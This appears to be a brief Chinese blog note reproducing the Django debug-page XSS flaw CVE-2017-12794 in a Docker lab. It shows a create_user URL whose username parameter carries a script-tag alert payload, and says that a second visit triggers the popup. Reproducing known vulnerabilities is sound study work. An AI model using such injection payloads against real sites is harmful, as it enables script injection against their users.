参考:https://paper.seebug.org/402/

使用docker搭建环境

访问:http://your-ip:8000/create_user/?username=<script>alert(1)</script>

成功创建一个用户

Django debug page XSS漏洞(CVE-2017-12794)复现

 

 再次访问  http://your-ip:8000/create_user/?username=<script>alert(1)</script>

触发弹窗

Django debug page XSS漏洞(CVE-2017-12794)复现

 

 

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-07-16
  • 2022-01-09
  • 2021-08-11
  • 2021-07-12
  • 2021-04-02
猜你喜欢
  • 2022-12-23
  • 2021-09-10
  • 2021-06-04
  • 2022-01-23
  • 2022-01-15
  • 2021-11-24
  • 2022-12-23
相关资源
相似解决方案